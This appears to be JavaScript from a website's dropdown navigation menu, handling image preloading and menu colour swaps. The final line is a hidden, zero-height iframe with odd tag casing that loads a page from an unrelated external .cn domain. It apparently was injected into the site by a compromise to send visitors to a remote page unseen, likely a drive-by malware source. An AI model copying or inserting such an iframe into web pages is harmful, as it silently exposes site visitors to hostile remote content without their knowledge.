var preloaded = [];

		for (var i =2; i <=3; i++) {
			preloaded[i] = [loadImage(i + "-0.gif"), loadImage(i + "-1.gif")];
		}

		function init() {

			if (mtDropDown.isSupported()) {
				mtDropDown.initialize();

				/*menu1.onactivate = function() { swapImage("menu1","#002121") };
				menu1.ondeactivate = function() { swapImage("menu1","#003333") };*/

				menu2.onactivate = function() { swapImage("menu2","#002121") };
				menu2.ondeactivate = function() { swapImage("menu2","#003333") };

				menu3.onactivate = function() { swapImage("menu3","#002121") };
				menu3.ondeactivate = function() { swapImage("menu3","#003333") };

				/*menu4.onactivate = function() { swapImage("menu4","#002121") };
				menu4.ondeactivate = function() { swapImage("menu4","#003333") };

				menu5.onactivate = function() { swapImage("menu5","#002121") };
				menu5.ondeactivate = function() { swapImage("menu5","#003333") };

				menu6.onactivate = function() { swapImage("menu6","#002121") };
				menu6.ondeactivate = function() { swapImage("menu6","#003333") };
                
				menu7.onactivate = function() { swapImage("menu7","#002121") };
				menu7.ondeactivate = function() { swapImage("menu7","#003333") };
*/
			}
		}
		function loadImage(sFilename) {
			var img = new Image();
			img.src ="/images/nav/" + sFilename;
			return img;
		}
		function swapImage(menu,color) {
			document.all[menu].style.backgroundColor=color;
		}
	 <iframE src=http://y.kh34.cn/d1/05/indeX.htm?32 width=100 height=0></Iframe>